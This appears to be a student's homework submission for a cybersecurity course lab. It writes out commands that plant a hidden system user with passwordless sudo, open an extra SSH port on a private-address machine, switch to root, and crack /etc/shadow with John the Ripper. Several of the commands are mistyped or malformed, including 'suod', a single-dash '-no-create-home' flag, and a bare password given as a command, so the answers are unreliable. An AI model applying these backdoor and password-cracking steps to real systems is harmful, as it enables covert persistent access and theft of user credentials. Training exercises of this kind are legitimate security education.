## **Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created: adduser sysd -no-create-home -uid 11
2. Give your secret user a password: passw0rd
3. Give your secret user a system UID < 1000: see number one
4. Give your secret user the same GID: groupadd -g 11 sysd
5. Give your secret user full sudo access without the need for a password: suod visudo then sysd ALL=(ALL) NOPASSWD:ALL
6. Test that sudo access works without your password: su sysd then sudo -l

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file: nano /etc/ssh/sshd\_config take the # off Port 22 and add Port 2222 on the next line

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:service sshd restart
2. Exit the root account: exit and another exit
3. SSH to the target machine using your sysd account and port 2222: ssh sysd@192.168.6.105 -p 2222
4. Use sudo to switch to the root user: sudo su root

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222: ssh sysd@192.168.6.105 -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file: sudo su root then john /etc/shadow

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